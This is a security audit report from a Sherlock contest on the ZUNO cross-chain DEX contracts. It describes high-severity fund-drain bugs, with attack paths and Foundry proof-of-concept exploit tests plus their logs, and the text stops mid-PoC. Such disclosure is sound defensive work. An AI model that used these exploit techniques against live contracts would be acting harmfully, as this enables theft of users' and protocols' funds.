SHERLOCK

Security Review For ZUNO

Public Audit Contest Prepared For:	**ZUNO**
Lead Security Expert:	**EgisSecurity**
Date Audited:	**June 2 - June 9, 2025**
Final Commit:	**8db6be3**

Introduction

This contest focuses on the security of DEX built on ZetaChain's cross-chain infrastructure.

Scope

Repository: Skyewwww/omni-chain-contracts

Audited Commit: 2fe44d3da76b721e4d32addfecb04ca97a39cb0d

Final Commit: 8db6be3d97e2e18460a3600394b0232a9fbab0f5

Files:

- contracts/GatewayCrossChain.sol
- contracts/GatewaySend.sol
- contracts/GatewayTransferNative.sol
- contracts/interfaces/IDODORouteProxy.sol
- contracts/interfaces/IUniswapV2Factory.sol
- contracts/interfaces/IUniswapV2Router01.sol
- contracts/interfaces/IWETH9.sol
- contracts/libraries/AccountEncoder.sol
- contracts/libraries/BytesHelperLib.sol
- contracts/libraries/SafeMath.sol
- contracts/libraries/SwapDataHelperLib.sol
- contracts/libraries/TransferHelper.sol
- contracts/libraries/UniswapV2Library.sol

Final Commit Hash

8db6be3d97e2e18460a3600394b0232a9fbab0f5

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues Found

High	Medium
5	12

Issues Not Fixed and Not Acknowledged

High	Medium
0	0

Security experts who found valid issues

0xAura
0xEkko
0xShoonya
0xapple
0xc0ffEE
0xdice91
0xfleeb
0xiehnnkta
0xkshama-pana
0xlucky
0xpetern
0xzey
10ap17
1337
4b
4n0nx
Abhan1041
Aenovir
AestheticBhai
AnomX
AshishLac
Bbash
BimBamBuki
Bizarro
ChaosSR
CoheeYang
Constant
Cybrid
Egbe
EgisSecurity
ElmInNyc99
Etherking
Falendar
FlandreS
Flashloan44
Goran
Greese
HarryBarz
HeckerTrieuTien
IvanFitro
Joseph_Nwodoh
JuggerNaut
Kalyan-Singh
King_9aimon
Kirkeelee
MRXSNOWDEN
Mimis
Nomadic_bear
Ob
Ocean_Sky
OrangeSantra
Oxsadeeq
PNS
Petrus
Phaethon
Pianist
PolarizedLight
PratRed
SafetyBytes
SarveshLimaye
Smacaud
X0sauce
Yaneca_b
ZeroTrust
Ziusz
anirruth_
befree3x
benjamin_0923
bladeee
bube
cccz
chaos304
coin2own
d4y1ight
dhank
dmdg321
dreamcoder
eLSeR17
edger
eightx
elolpuer
eta
farismaulana
freeking

fromeo_016
grandson
harry
hieutrinh02
hiroshi1002
holtzzx
hunt1
hy
iamandreiski
ifeco445
jongwon
kazan
khaye26
lls
m3dython
mahdiRostami
malm0d
mgf15
miracleworker0118
montecristo
n08ita
newspacexyz
oxch0w
patitonar
peppef
phrax
pyk
radevweb3
rahim7x
redtrama
richa
roadToWatsonN101
roshark
rsam_eth
seeques
sheep
shivansh2580
shushu
silver_eth
skipper
stonejiajia
the_haritz
theboiledcorn
theweb3mechanic
tourist
tyuuu
upWay
wellbyt3
x0lohaclohell
x0rc1ph3r
yoooo
zh1x1an1221

Issue H-1: Missing swap-withdrawal validation enables accumulated token drainage

Source: https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex-judging/issues/158

Found by

0xEkko, 0xapple, Ob, SafetyBytes, X0sauce, elolpuer, n08ita, patitonar, pyk, roadToWatsonN101, seeques, wellbyt3

Summary

Missing validation between swap output token and target withdrawal token will cause a loss of accumulated token balances for the protocol and users as an attacker will craft malicious cross-chain transactions with mismatched swap parameters to drain tokens that have accumulated in the contract from legitimate operations.

Root Cause

In GatewayCrossChain.sol the `onCall` function performs a token swap using `_doMixSwap()` with `params.toToken` as the output, but then withdraws using `decoded.targetZRC20` without validating that these tokens match. This allows an attacker to swap to one token type but withdraw a different accumulated token type.

```
//  Swap occurs with params.toToken as output
uint256 outputAmount = _doMixSwap(decoded.swapDataZ, amount, params);
```

In _handleBitcoinWithdraw withdraws the `decoded.targetZRC20`

```
// _handleBitcoinWithdraw:
withdraw(
    externalId,
    decoded.receiver,
    decoded.targetZRC20,    // Uses targetZRC20 (no validation against swap output)
    outputAmount - gasFee
);
```

In _handleEvmOrSolanaWithdraw withdraws the `decoded.targetZRC20`

```
// _handleEvmOrSolanaWithdraw :
withdrawAndCall(
    externalId,
    decoded.contractAddress,
    decoded.targetZRC20,    // Uses targetZRC20 (no validation against swap output)
```

```
    outputAmount - gasFee,
    receiver,
    encoded
);

...

withdrawAndCall(
    externalId,
    decoded.contractAddress,
    decoded.targetZRC20,    // Uses targetZRC20 (no validation against swap output)
    amountsOutTarget,
    receiver,
    encoded
);
```

Internal Pre-conditions

none

External Pre-conditions

none

Attack Path

1. Attacker monitors the GatewayCrossChain contract balance and identifies accumulated high-value tokens (e.g., 1000 ETH worth ~$2,500,000 at $2500/ETH)
2. Attacker crafts a malicious cross-chain transaction with:
    - `swapDataZ` configured to swap from input token to a different output token (e.g., USDC)
    - `targetZRC20` set to the accumulated high-value token they want to drain (e.g., ETH)
3. Attacker calls `depositAndCall` on source chain with the crafted payload
4. ZetaChain processes the transaction:
    - Contract receives input tokens and swaps them to USDC via `_doMixSwap`
    - Contract attempts withdrawal using `targetZRC20` (ETH)
    - Since contract has accumulated ETH balance, the approval and transfer succeed
5. Attacker receives ETH from accumulated balance while only providing cheaper output tokens

6. Attacker repeats the process to drain all accumulated balances of various token types

Impact

The vulnerability enables complete drainage of all accumulated token balances in the contract.

PoC

Copy and paste this on `GatewayCrossChain.t.sol` and run `forge test --fork-url https://zetachain-evm.blockpi.network/v1/rpc/public */ --match-test test_POC_SwapTargetMismatch_CrossChainTokenDrain -vv`

```
function test_POC_SwapTargetMismatch_CrossChainTokenDrain() public {

    // Set realistic market prices for clear economic impact
    console.log("Market prices: ETH=$2500, BTC=$50000, USDC=$1");
    dodoRouteProxyZ.setPrice(address(token1Z), address(token2Z), 2500e18);  // 1
↪  ETH = 2500 USDC
    dodoRouteProxyZ.setPrice(address(btcZ), address(token2Z), 50000e18);    // 1
↪  BTC = 50000 USDC
    dodoRouteProxyZ.setPrice(address(btcZ), address(token1Z), 20e18);       // 1
↪  BTC = 20 ETH
    console.log("");

    // Setup: Contract accumulated valuable ETH.ZRC20 from previous operations
    uint256 accumulatedETH = 1000 ether; // 1000 ETH.ZRC20 worth $2.5M
    token1Z.mint(address(gatewayCrossChain), accumulatedETH);
    console.log("Contract accumulated ETH.ZRC20:", accumulatedETH / 1e18);
    console.log("Accumulated value: $", (accumulatedETH * 2500) / 1e18);
    console.log("");

    // Give attacker some BTC to execute the attack
    uint256 attackerStartingBTC = 1 ether; // 1 BTC (enough for attack)
    btc.mint(user1, attackerStartingBTC);

    // Record initial balances
    uint256 attackerInitialBTC = btc.balanceOf(user1);
    uint256 attackerInitialETH_B = token1B.balanceOf(user2); // user2 is
↪  attacker's receiving address
    console.log("Attacker initial BTC balance:", attackerInitialBTC / 1e18);
    console.log("Attacker initial ETH_B balance:", attackerInitialETH_B / 1e18);
    console.log("");

    // Attack setup: Craft malicious cross-chain transaction
    address targetContract = address(gatewayCrossChain);
    uint256 attackAmount = 0.02 ether; // 0.02 BTC worth $1,000
```

```
    address asset = address(btc); // BTC on source chain
    uint32 dstChainId = 2; // Target Chain B

    // VULNERABILITY: Mismatch between swap output and withdrawal target
    address targetZRC20 = address(token1Z); // TARGET: ETH.ZRC20 (accumulated
↪  $2.5M!)
    bytes memory sender = btcAddress; // BTC address format
    bytes memory receiver = abi.encodePacked(user2);

    // Swap data: BTC→USDC (legitimate swap)
    bytes memory swapDataZ = encodeCompressedMixSwapParams(
        address(btcZ),        // FROM: BTC.ZRC20 (attacker's cheap input)
        address(token2Z),     // TO: USDC.ZRC20 (swap output - NOT the target!)
        attackAmount, 0, 0,
        new address[](1), new address[](1), new address[](1),
        0, new bytes[](1), abi.encode(address(0), 0), block.timestamp + 600
    );

    bytes memory contractAddress = abi.encodePacked(address(gatewaySendB));
    bytes memory fromTokenB = abi.encodePacked(address(token1B)); // ETH_B
    bytes memory toTokenB = abi.encodePacked(address(token1B));   // ETH_B (no
↪  swap on dest)
    bytes memory swapDataB = "";
    bytes memory accounts = "";

    // Craft malicious payload with parameter mismatch
    bytes memory payload = encodeMessage(
        dstChainId,
        targetZRC20,    // ETH.ZRC20 (expensive target - MISMATCH!)
        sender, receiver, swapDataZ, contractAddress,
        abi.encodePacked(fromTokenB, toTokenB, swapDataB), accounts
    );

    console.log("ATTACK EXECUTION:");
    console.log("- Attacker provides: 0.02 BTC ($1,000)");
    console.log("- Swap configured: BTC->USDC");
    console.log("- Target withdrawal: ETH ($2,500,000 accumulated!)");
    console.log("- Attacker receives stolen ETH on Chain B");
    console.log("- VULNERABILITY: Parameter mismatch enables token drain!");
    console.log("");

    // Ensure ZetaChain has BTC.ZRC20 tokens for the cross-chain process
    // (In real scenario, these would be minted when BTC is locked on source chain)
    btcZ.mint(address(gatewayZEVM), attackAmount);

    // Execute the complete end-to-end attack from Chain A
    vm.startPrank(user1);
    btc.approve(address(gatewaySendA), attackAmount);
    gatewaySendA.depositAndCall(
        targetContract,
```

```
        attackAmount,
        asset,
        dstChainId,
        payload
    );
    vm.stopPrank();

    // Calculate complete attack results
    uint256 attackerFinalBTC = btc.balanceOf(user1);
    uint256 attackerFinalETH_B = token1B.balanceOf(user2);
    uint256 contractFinalETH = token1Z.balanceOf(address(gatewayCrossChain));

    uint256 attackerSpent = attackerInitialBTC - attackerFinalBTC;
    uint256 attackerReceived = attackerFinalETH_B - attackerInitialETH_B;
    uint256 ethDrained = accumulatedETH - contractFinalETH;

    // Economic impact analysis
    uint256 attackerInvestmentUSD = attackerSpent * 50000;      // BTC * $50k
    uint256 attackerReceivedUSD = attackerReceived * 2500;      // ETH * $2.5k
    uint256 protocolLossUSD = ethDrained * 2500;               // ETH lost * $2.5k
    uint256 attackerProfitUSD = attackerReceivedUSD - attackerInvestmentUSD;

    console.log("===  ATTACK RESULTS ===");
    console.log("Attacker spent BTC: 0.02"); // attackerSpent / 1e18 = 0.02 ether
↪  / 1e18 = 0.02
    console.log("Attacker investment: $", attackerInvestmentUSD / 1e18);
    console.log("Attacker received ETH_B:", attackerReceived / 1e18);
    console.log("Attacker received value: $", attackerReceivedUSD / 1e18);
    console.log("Protocol lost ETH.ZRC20:", ethDrained / 1e18);
    console.log("Protocol lost value: $", protocolLossUSD / 1e18);
    console.log("Attacker profit: $", attackerProfitUSD / 1e18);
    console.log("");

    uint256 roiPercent = (attackerProfitUSD * 100) / attackerInvestmentUSD;
    uint256 drainagePercent = (ethDrained * 100) / accumulatedETH;

    console.log("IMPACT:");
    console.log("- Attack ROI:", roiPercent, "%");
    console.log("- Fund drainage:", drainagePercent, "%");

    // Verify complete successful exploitation
    assertEq(attackerSpent, attackAmount, "Should spend attack amount");
    assertGt(attackerReceived, 0, "Attacker should receive drained tokens on Chain
↪  B");
    assertGt(ethDrained, 0, "Should drain accumulated ETH.ZRC20");
    assertGt(attackerProfitUSD, attackerInvestmentUSD, "Should be massively
↪  profitable");
    assertGt(roiPercent, 100000, "Should have massive ROI (>100,000%)");
    assertGt(drainagePercent, 95, "Should drain >95% of accumulated funds");
```

```
}
```

```
Logs:
  Market prices: ETH=$2500, BTC=$50000, USDC=$1

  Contract accumulated ETH.ZRC20: 1000
  Accumulated value: $ 2500000

  Attacker initial BTC balance: 1
  Attacker initial ETH_B balance: 0

  ATTACK EXECUTION:
  - Attacker provides: 0.02 BTC ($1,000)
  - Swap configured: BTC->USDC
  - Target withdrawal: ETH ($2,500,000 accumulated!)
  - Attacker receives stolen ETH on Chain B
  - VULNERABILITY: Parameter mismatch enables token drain!

  574
  ===  ATTACK RESULTS ===
  Attacker spent BTC: 0.02
  Attacker investment: $ 1000
  Attacker received ETH_B: 999
  Attacker received value: $ 2497500
  Protocol lost ETH.ZRC20: 999
  Protocol lost value: $ 2497500
  Attacker profit: $ 2496500

  IMPACT:
  - Attack ROI: 249650 %
  - Fund drainage: 99 %
```

Mitigation

Add validation in the `onCall` function to ensure swap output token matches the target withdrawal token

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Skyewwww/omni-chain-contracts/pull/33

Issue H-2: Any attacker will steal accumulated ZRC20 tokens from GatewayTransferNative contract

Source: https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex-judging/issues/219

Found by

0xEkko, 10ap17, Pianist, SafetyBytes, X0sauce, farismaulana, radevweb3, theboiledcorn

Summary

Missing msg.value validation for native token withdrawals will cause a complete loss of accumulated ZRC20 tokens for the protocol as attackers will abuse the native token placeholder to bypass transferFrom validation while targeting real ZRC20 contracts through malicious message crafting.

Root Cause

In GatewayTransferNative.sol:534-537 there is missing validation of msg.value against the claimed amount parameter when zrc20 equals `_ETH_ADDRESS_` , allowing users to claim arbitrary native token amounts without actually sending them.

```
function withdrawToNativeChain(
    address zrc20,
    uint256 amount,
    bytes calldata message
) external payable {
    if(zrc20 != _ETH_ADDRESS_) {
        require(IZRC20(zrc20).transferFrom(msg.sender, address(this), amount),
↪   "INSUFFICIENT ALLOWANCE: TRANSFER FROM FAILED");
    }
    // ← Missing: require(msg.value >= amount, "INSUFFICIENT NATIVE TOKEN");
}
```

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

1. Attacker identifies accumulated ZRC20 tokens in the GatewayTransferNative contract (e.g., 1000 USDC.ZRC20)
2. Attacker crafts a malicious message where decoded.targetZRC20 points to the real USDC.ZRC20 contract address
3. Attacker calls `withdrawToNativeChain{value: 0}(_ETH_ADDRESS_, 1000e6, maliciousMessage)`
4. Function bypasses transferFrom validation due to zrc20 == *ETH_ADDRESS* condition
5. Function processes withdrawal using the claimed amount (1000 USDC) from contract's accumulated balance
6. Function calls withdrawGasFeeWithGasLimit on real USDC.ZRC20 contract (avoids revert)
7. Cross-chain withdrawal executes successfully, sending 1000 native USDC to attacker's destination address
8. Contract's accumulated USDC.ZRC20 tokens are burned/depleted while attacker receives native USDC

Impact

The protocol suffers a complete loss of all accumulated ZRC20 tokens that can be targeted through message crafting. The attacker gains the full value of stolen tokens with only gas fees as cost, achieving near-infinite profit margins on successful attacks.

PoC

Add this test to `GatewayTransferNative.t.sol` and run:

```
forge test --fork-url https://zetachain-evm.blockpi.network/v1/rpc/public
↪  --match-test test_withdraw_native_Vulnerability -vv
```

```
function test_withdraw_native_Vulnerability() public {
    uint256 stolenAmount = 100 ether;   // Amount to steal from contract
    uint256 actualZETASent = 0;         // User sends 0 ZETA
    uint32 dstChainId = 2;

    // ATTACK: Use _ETH_ADDRESS_ to bypass transferFrom, but target real ZRC20 in
↪  message
    address inputToken = _ETH_ADDRESS_;        // ← Bypass transferFrom validation
    address targetZRC20 = address(token1Z);    // ← Real ZRC20 in decoded message

    bytes memory sender = abi.encodePacked(user1);
    bytes memory receiver = abi.encodePacked(user2);
```

```
    bytes memory swapDataZ = "";
    bytes memory contractAddress = abi.encodePacked(address(gatewaySendB));
    bytes memory fromTokenB = abi.encodePacked(address(token1B));
    bytes memory toTokenB = abi.encodePacked(address(token1B));
    bytes memory swapDataB = "";
    bytes memory accounts = "";

    // MALICIOUS MESSAGE: Points to real ZRC20 token to avoid revert
    bytes memory maliciousMessage = encodeMessage(
        dstChainId,
        targetZRC20,      // ← Real token1Z address (not _ETH_ADDRESS_)
        sender,
        receiver,
        swapDataZ,
        contractAddress,
        abi.encodePacked(
            fromTokenB,
            toTokenB,
            swapDataB
        ),
        accounts
    );

    // Setup: Contract has accumulated token1Z from previous operations
    token1Z.mint(address(gatewayTransferNative), stolenAmount);

    // Record initial balances
    uint256 user1InitialZETA = user1.balance;
    uint256 user2InitialTokens = token1B.balanceOf(user2);
    uint256 contractInitialTokens =
↪   token1Z.balanceOf(address(gatewayTransferNative));

    console.log("BEFORE ATTACK:");
    console.log("User1 ZETA balance:", user1InitialZETA / 1e18);
    console.log("Contract token1Z balance:", contractInitialTokens / 1e18);
    console.log("User2 token1B balance:", user2InitialTokens / 1e18);
    console.log("");

    vm.startPrank(user1);
    // ATTACK: Use native token placeholder to bypass validation
    gatewayTransferNative.withdrawToNativeChain{value: actualZETASent}(
        inputToken,         // _ETH_ADDRESS_ bypasses transferFrom
        stolenAmount,       // Claims 100 token1Z
        maliciousMessage    // Decodes to real token1Z to avoid revert
    );
    vm.stopPrank();

    // Verify successful attack
    uint256 user1FinalZETA = user1.balance;
    uint256 user2FinalTokens = token1B.balanceOf(user2);
```

```
    uint256 contractFinalTokens =
↪  token1Z.balanceOf(address(gatewayTransferNative));

    console.log("AFTER ATTACK:");
    console.log("User1 ZETA balance:", user1FinalZETA / 1e18);
    console.log("Contract token1Z balance:", contractFinalTokens / 1e18);
    console.log("User2 token1B balance:", user2FinalTokens / 1e18);
    console.log("");

    // Attack success verification
    assertEq(user1FinalZETA, user1InitialZETA - actualZETASent, "User should only
↪  lose sent ZETA");
    assertGt(user2FinalTokens, user2InitialTokens, "User2 should receive stolen
↪  tokens");
    assertLt(contractFinalTokens, contractInitialTokens, "Contract should lose
↪  tokens");

    uint256 tokensStolen = contractInitialTokens - contractFinalTokens;
    uint256 tokensReceived = user2FinalTokens - user2InitialTokens;

    console.log("Tokens stolen from contract:", tokensStolen / 1e18);
    console.log("Tokens received by User2:", tokensReceived / 1e18);

    // Should have stolen significant amount
    assertGt(tokensStolen, 90 ether, "Should steal most of the claimed amount");
}
```

```
Logs:
  BEFORE ATTACK:
  User1 ZETA balance: 1000
  Contract token1Z balance: 100
  User2 token1B balance: 0

  AFTER ATTACK:
  User1 ZETA balance: 1000
  Contract token1Z balance: 1
  User2 token1B balance: 99

  Tokens stolen from contract: 99
  Tokens received by User2: 99
```

Mitigation

Add proper validation for native token amounts in the `withdrawToNativeChain` function

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Skyewwww/omni-chain-contracts/pull/32

Issue H-3: Attacker can steal an high-value token due to lack of swap execution

Source: https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex-judging/issues/416

Found by

0xc0ffEE, AnomX, CoheeYang, Cybrid, EgisSecurity, X0sauce, edger, huntl, pyk, silver_eth, wellbyt3

Summary

Whenever withdrawToNativeChain oronCall is called on the GatewayTransferNative . The _doMixSwap() is trigger and the function returns the original token amount without enforcing a swap when `swapData` is empty. If `decoded.targetZRC20 != zrc20`, this leads to unexpected token transfers, allowing Attacker to bypass swaps and drain higher-value assets held by the contract.

Root Cause

https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex/blob/d4834a468f7dad56b007b4450397289d4f767757/omni-chain-contracts/contracts/GatewayTransferNative.sol#L430

```
if (swapData.length == 0) {
    return amount;
}
```

This check skips the swap entirely when `swapData` is empty, and there is no check whether the input `zrc20 == decoded.targetZRC20`

Internal Pre-conditions

- The caller uses `withdrawToNativeChain()` or `onCall()`
- Sets `swapData = ""` (empty)
- Sets `decoded.targetZRC20` to a different token than `zrc20`

External Pre-conditions

- `decoded.targetZRC20` represents a significantly higher-value token compare to the deposited `zrc20` (e.g., ETH.ARB ~2300vsAVAX 20)

- The contract holds those tokens, often due to refund flows from reverted cross-chain messages

Attack Path

1. Attacker calls `withdrawToNativeChain()` with:
    - `fromToken = AVAX-ZRC`
    - `decoded.targetZRC20 = ETH.ARB-ZRC`
    - `swapData = ""`
2. `withdrawToNativeChain()` functions decodes the payload and calls `_doMixSwap()`
3. `_doMixSwap()` skips the swap and returns the full AVAX amount
4. User receives ETH.ARB tokens in 1:1 amount (in wei), leading to a huge gain
5. Protocol loses high-value tokens without performing a valid swap

Impact

This can lead to major loss of funds from the protocol's ZRC20 token balances, especially those intended for refunds. The attacker receives assets at favorable USD rates, causing imbalance.

PoC

note I am using a token difference here to show the impact because the provided test suite has some issue with price conversion

place this in `test/GatewayTransferNative.t.sol` and run `forge test --mt test_IamOTI_badSwapdataofDoMIxSwap --fork-url https://zetachain-evm.blockpi.network/v1/rpc/public`

```
function test_IamOTI_badSwapdataofDoMIxSwap() public {
    // Simulate production state: preload contract with ZRC20 balances
    token1Z.mint(address(gatewayTransferNative), 2000 ether); // token1Z = AVAX-ZRC
↪   (~$20)
    token2Z.mint(address(gatewayTransferNative), 2000 ether); // token2Z =
↪   ETH.ARB-ZRC (~$2300)

    uint256 amount = 100 ether;
    uint32 dstChainId = 421614; // Arbitrum Sepolia testnet chain ID

    // Construct the cross-chain message with a mismatched targetZRC20 and empty
↪   swapData
    address targetZRC20 = address(token2Z); // target is ETH.ARB-ZRC
    bytes memory sender = abi.encodePacked(user1);
```

```
    bytes memory receiver = abi.encodePacked(user2);
    bytes memory swapDataZ = ""; // ← this triggers the early return in _doMixSwap
    bytes memory contractAddress = abi.encodePacked(address(gatewaySendB));
    bytes memory fromTokenB = abi.encodePacked(address(token2B));
    bytes memory toTokenB = abi.encodePacked(address(token2B));
    bytes memory swapDataB = "";
    bytes memory accounts = "";

    // Encode the malicious message payload
    bytes memory message = encodeMessage(
        dstChainId,
        targetZRC20,
        sender,
        receiver,
        swapDataZ,
        contractAddress,
        abi.encodePacked(fromTokenB, toTokenB, swapDataB),
        accounts
    );

    // Execute the attack simulation
    vm.startPrank(user1);
    token1Z.approve(address(gatewayTransferNative), amount);
    gatewayTransferNative.withdrawToNativeChain(address(token1Z), amount, message);
    vm.stopPrank();

    // Validate balances
    assertEq(token1Z.balanceOf(user1), initialBalance - amount);
// it is almost 1:1 token2B.balanceOf(user2) is around 98.9e18 the different is the
↪  protocol fee and the gas fee
    assertApproxEqAbs(token2B.balanceOf(user2), amount, 1.2e18);
}
```

Note the same issue exist in `GatewayCrossChain`

Mitigation

Add a strict validation to enforce swaps when the tokens differ:

```
  function _doMixSwap(address zrc20,bytes memory swapData, uint256 amount,
↪  MixSwapParams memory params)
        internal
        returns (uint256 outputAmount)
    {
        if (swapData.length == 0)
       require(params.toToken == zrc20 );
            return amount;
        }
```

```
___rest of the code
}
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Skyewwww/omni-chain-contracts/pull/33

Issue H-4: GatewayTransferNative.withdrawToNative Chain Allows Swapping Arbitrary Contract ZRC20s by Misusing Deposited Token Amount

Source: https://github.com/sherlock-audit/2025-05-dodo-cross-chain-dex-judging/issues/681

Found by

0xdice91, 10ap17, AnomX, AshishLac, Cybrid, EgisSecurity, Falendar, Goran, HeckerTrieuTien, OrangeSantra, Phaethon, X0sauce, Yaneca_b, ZeroTrust, bladeee, d4y1ight, hunt1, iamandreiski, ifeco445, khaye26, patitonar, phrax, pyk, radevweb3, roshark, rsam_eth, seeques, shushu, silver_eth, the_haritz, theboiledcorn

Summary

The GatewayTransferNative.withdrawToNativeChain function allows users to specify DODO swap parameters via the `message` argument. It fails to validate that the input token for this swap (`params.fromToken` derived from `message`) matches the `zrc20` token actually deposited by the user for the transaction. Instead, the contract uses the deposited `amount` of `zrc20` to approve its *own balance* of `params.fromToken` for the swap. An attacker can deposit a low-value `zrc20` and provide a `message` instructing the contract to swap a different, valuable token it holds, leading to fund drain. The swapped proceeds are then processed for withdrawal to an external chain or transfer on ZetaChain as specified by other parts of the `message`.

Root Cause

The bug lies in `GatewayTransferNative` when `withdrawToNativeChain` calls `_doMixSwap`.

1. **User Input:** User calls `withdrawToNativeChain`.
    - `zrc20` and `amount` are the primary deposit by the user directly to this function.
    - `message` is decoded using `SwapDataHelperLib.decodeMessage` into `DecodedMessage memory decoded`. The DODO swap parameters `MixSwapParams memory params` are derived from `decoded.swapDataZ`. Crucially, `params.fromToken` and `params.fromTokenAmount` are sourced from this user-controlled `decoded.swapDataZ`.

```
function withdrawToNativeChain(address zrc20, uint256 amount, bytes calldata
↪  message) external payable {
    // ... user token handling (transferFrom or msg.value) ...
    globalNonce++;
    bytes32 externalId = _calcExternalId(msg.sender);
```

```
    (DecodedMessage memory decoded, MixSwapParams memory params) =
↪   SwapDataHelperLib.decodeMessage(message);
    // ...
    uint256 platformFeesForTx = _handleFeeTransfer(zrc20, amount);
    uint256 currentAmount = amount - platformFeesForTx; // This is
↪   amountAfterFee
    // ...
    uint256 outputAmount = _doMixSwap(decoded.swapDataZ, currentAmount,
↪   params);
    // ... proceeds to withdrawal logic ...
}
```

2. **Fee Handling:** Platform fees are taken from the deposited `amount` of `zrc20`. Let the remainder be `currentAmount` (passed as `amount` to `_doMixSwap`).
3. **Missing Critical Check**: Before calling `_doMixSwap`, there is no check to ensure that `params.fromToken` is the same as `zrc20`.
4. **Logic in `_doMixSwap` Call:** `_doMixSwap` is called with `currentAmount` and `params`.

```
function _doMixSwap(
    bytes memory swapData, // This is decoded.swapDataZ
    uint256 amount,        // This is currentAmount
    MixSwapParams memory params
) internal returns (uint256 outputAmount) {
    if (swapData.length == 0) {
        return amount;
    }

    IZRC20(params.fromToken).approve(DODOApprove, amount); // 'amount' zrc20
    return IDODORouteProxy(DODORouteProxy).mixSwap{ value: msg.value }(
        params.fromToken,
        params.toToken,
        params.fromTokenAmount, // Uses amount from payload for actual swap
↪   quantity
        // ... other params
    );
}
```

If `params.fromToken` is different from the `zrc20` deposited by the user, `GatewayTransferNative` approves its own balance of `params.fromToken` for `DODOApprove` to use. The approval amount is `amount`. The DODO swap then attempts to use `params.fromTokenAmount` of `params.fromToken`. If `params.fromTokenAmount` is less than or equal to `amount`, the swap will use `GatewayTransferNative`'s funds of `params.fromToken`.

Internal Pre-conditions

1. The `GatewayTransferNative` contract must have a non-zero balance of a ZRC20 token that the attacker intends to use as `params.fromToken` and drain. This

condition is highly likely to be met for various tokens over time, as the contract's refund mechanism can cause it to accumulate different ZRC20s.

2. `DODORouteProxy` and `DODOApprove` addresses must be correctly set in `GatewayTransferNative`.

External Pre-conditions

1. The DODO protocol on ZetaChain must have a liquidity pool for the swap pair defined in `params.fromToken` / `params.toToken`.

Attack Path

1. **Pre-condition:** `GatewayTransferNative` contract holds `1 ETH.ETH` ZERC20. Attacker has `1 DAI.ETH` ZRC20 and has approved `GatewayTransferNative` to spend them.
2. **Attacker's Action:** Attacker calls `GatewayTransferNative.withdrawToNativeChain`:
    - `zrc20`: `address(DAI.ETH)`
    - `amount`: `1e18` (1 DAI.ETH)
    - `message`: Crafted by attacker. When decoded by `SwapDataHelperLib.decodeMessage`:
        - `decoded.dstChainId`: e.g. Base
        - `decoded.targetZRC20`: `address(DAI.ETH)`.
        - `decoded.receiver`: Attacker's address on the destination chain.
        - `decoded.swapDataZ` (this generates `params` for `_doMixSwap`):
            * `params.fromToken`: `address(ETH.ETH)`.
            * `params.toToken`: `address(DAI.ETH)`.
            * `params.fromTokenAmount`: `1e18`.
            * `params.minReturnAmount`: `0`.
            * Other `MixSwapParams` fields set as needed.
        - `decoded.swapDataB`: Can be empty or specify further swaps on the destination chain.
3. **Execution within `withdrawToNativeChain`:**
    - User's `1 DAI.ETH` are transferred to `GatewayTransferNative`.
    - Platform fees are deducted from `1 DAI.ETH`. Assume zero fees and `amountAfterFee` becomes `1e18 DAI.ETH`.
    - `_doMixSwap(decoded.swapDataZ, amountAfterFee, params)` is called.

- Inside `_doMixSwap`: `IZRC20(ETH.ETH).approve(DODOApprove, 1e18);` executes. `GatewayTransferNative` approves its *own* `ETH.ETH` balance for up to `1e18` wei.
- `IDODORouteProxy.mixSwap` is called to swap `1e18` (`params.fromTokenAmount`) of `ETH.ETH` from `GatewayTransferNative`'s balance into `DAI.ETH`. Assuming 1 ETH = 2500 DAI, this yields approximately `2500 DAI.ETH`. Let this be `outputAmount`.

- Back in `withdrawToNativeChain`, `outputAmount` (`2500 DAI.ETH`) is now processed for withdrawal. Since `params.toToken (DAI.ETH)` matches `decoded.targetZRC20 (DAI.ETH)`, the withdrawal logic for `DAI.ETH` proceeds using this `outputAmount`.

4. **Result:** `GatewayTransferNative` loses `1 ETH.ETH` (worth $2500). Attacker deposited `1 DAI.ETH` (worth $1). The attacker profits the difference, ultimately receiving the swapped value on their specified destination chain/address.

Impact

Direct loss of ZRC20 token holdings from the `GatewayTransferNative` contract. An attacker can target any ZRC20 held by the contract by depositing a sufficient amount of a less valuable token via `withdrawToNativeChain` and crafting a malicious `message` payload.

PoC

Add this test to `test/GatewayTransferNative.t.sol`:

```
/// @dev This bug allows anyone to depost less valuable token to get more valuable
↪ token
/// @custom:command forge test --match-contract GatewayTransferNativeTest
↪ --match-test test_WithdrawValuableTokens --fork-url
↪ https://zetachain-mainnet.g.allthatnode.com/archive/evm
function test_WithdrawValuableTokens() public {
    address attacker = makeAddr("attacker");

    // Assets
    ERC20Mock dai = new ERC20Mock("DAI", "DAI", 18);
    ZRC20Mock zrc20DAI = new ZRC20Mock("ZetaChain DAI Ethereum", "DAI.ETH", 18);
    ZRC20Mock zrc20ETH = new ZRC20Mock("ZetaChain ETH Ethereum", "ETH.ETH", 18);
    uint256 amount = 1e18;

    // Balances
    zrc20DAI.mint(attacker, amount); // 1 DAI.ETH
    zrc20ETH.mint(address(gatewayTransferNative), amount); // 1 ETH.ETH e.g. for
↪ refund failed cross-chain tx
    zrc20DAI.mint(address(dodoRouteProxyZ), 2500 * 1e18); // Swaps Liquidity
    dai.mint(address(gatewayB), 2500 * 1e18); // Escrowed Liquidity
```

```
// Gateways
gatewayB.setZRC20(address(dai), address(zrc20DAI));
zrc20DAI.setGasFee(0); // For simplicity
zrc20DAI.setGasZRC20(address(zrc20DAI));

// 1 ETH = 2500 DAI, no slippage for simplicity
dodoRouteProxyZ.setPrice(address(zrc20ETH), address(zrc20DAI), 2500 * 1e18);

// Approvals
vm.prank(attacker);
zrc20DAI.approve(address(gatewayTransferNative), amount);

uint32 dstChainId = 2;
address targetZRC20 = address(zrc20DAI);
bytes memory sender = abi.encodePacked(attacker);
bytes memory receiver = abi.encodePacked(attacker);
bytes memory swapDataZ = encodeCompressedMixSwapParams(
    address(zrc20ETH), // !!!!
